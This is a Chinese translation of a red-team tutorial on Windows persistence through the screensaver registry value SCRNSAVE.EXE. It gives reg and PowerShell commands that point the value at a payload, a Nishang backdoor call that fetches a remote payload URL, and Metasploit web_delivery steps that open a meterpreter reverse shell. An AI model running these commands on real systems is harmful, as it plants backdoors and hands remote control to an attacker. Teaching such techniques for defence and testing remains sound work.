Window权限维持(五):屏幕保护程序

文章来源微信公众号:Bypass

屏幕保护是Windows功能的一部分,使用户可以在一段时间不活动后放置屏幕消息或图形动画。众所周知,Windows的此功能被威胁参与者滥用为持久性方法。这是因为屏幕保护程序是具有.scr文件扩展名的可执行文件,并通过scrnsave.scr实用程序执行。
屏幕保护程序设置存储在注册表中,从令人反感的角度来看,最有价值的值是:

HKEY_CURRENT_USERControl PanelDesktopSCRNSAVE.EXE
HKEY_CURRENT_USERControl PanelDesktopScreenSaveActive
HKEY_CURRENT_USERControl PanelDesktopScreenSaverIsSecure
HKEY_CURRENT_USERControl PanelDesktopScreenSaveTimeOut
21751-htlrq8nz3e8.png
屏幕保护程序–注册表项

可以通过命令提示符或从PowerShell控制台修改或添加注册表项。由于.scr文件本质上是可执行文件,因此两个扩展名都可以用于后门植入。

reg add "hkcucontrol paneldesktop" /v SCRNSAVE.EXE /d c:tmppentestlab.exe
reg add "hkcucontrol paneldesktop" /v SCRNSAVE.EXE /d c:tmppentestlab.scr
New-ItemProperty -Path 'HKCU:Control PanelDesktop' -Name 'SCRNSAVE.EXE' -Value 'c:tmppentestlab.exe'
New-ItemProperty -Path 'HKCU:Control PanelDesktop' -Name 'SCRNSAVE.EXE' -Value 'c:tmppentestlab.scr'

21321-ag37ur4uhn8.png
添加注册表项– CMD和PowerShell

一旦机器不活动时间段过去,将执行任意有效载荷,并且将再次建立命令和控制的通信。

93211-y0fjtvk1f1.png

屏幕保护程序– Meterpreter

Nishang框架包含一个PowerShell脚本,该脚本也可以执行此攻击,但与上述方法相比,它需要管理级别的特权,因为它在本地计算机中使用注册表项来存储将执行远程托管有效负载的PowerShell命令。这种技术的好处是它不会接触磁盘。

Import-Module .Add-ScrnSaveBackdoor.ps1
Add-ScrnSaveBackdoor -PayloadURL http://192.168.254.145:8080/Bebr7aOemwFJO
13097-s5n3zmlnxta.png
Nishang –屏幕保护程序后门

在这种情况下,可以使用Metasploit Web交付模块生成并托管PowerShell负载。一旦用户会话变为空闲,屏幕保护程序将执行PowerShell负载,然后将打开一个meterpreter会话。

use exploit/multi/script/web_delivery
set payload windows/x64/meterpreter/reverse_tcp
set LHOST IP_Address
set target 2
exploit
67201-csd94wvsrch.png
Meterpreter –屏幕保护程序

利用屏幕保护程序的持久性技术的问题在于,当用户返回并且系统未处于空闲模式时,会话将中断。但是,红队可以在用户不在时执行其操作。如果屏幕保护程序被组策略禁用,则该技术不能用于持久性。

译文声明:本文由Bypass整理并翻译,仅用于安全研究和学习之用。
原文地址:https://pentestlab.blog/2019/10/09/persistence-screensaver/
本文经授权后发布,本文观点不代表立场,转载请联系原作者。
Window权限维持(四):快捷方式修改
« 上一篇 06-05
Window权限维持(六):BITS Jobs
下一篇 » 06-08

相关推荐

红队防猝死手册

文章来源:https://github.com/zhutougg/RedteamStandard一切为了不丢分工作环境工作时全部操作均在虚拟机中完成虚拟机...

Android渗透工具集合

Android安全测试更多地被安全行业用来测试Android应用程序中的漏洞。下面将列举全面的Android渗透测试工具和资源列表,其涵盖了在Andro...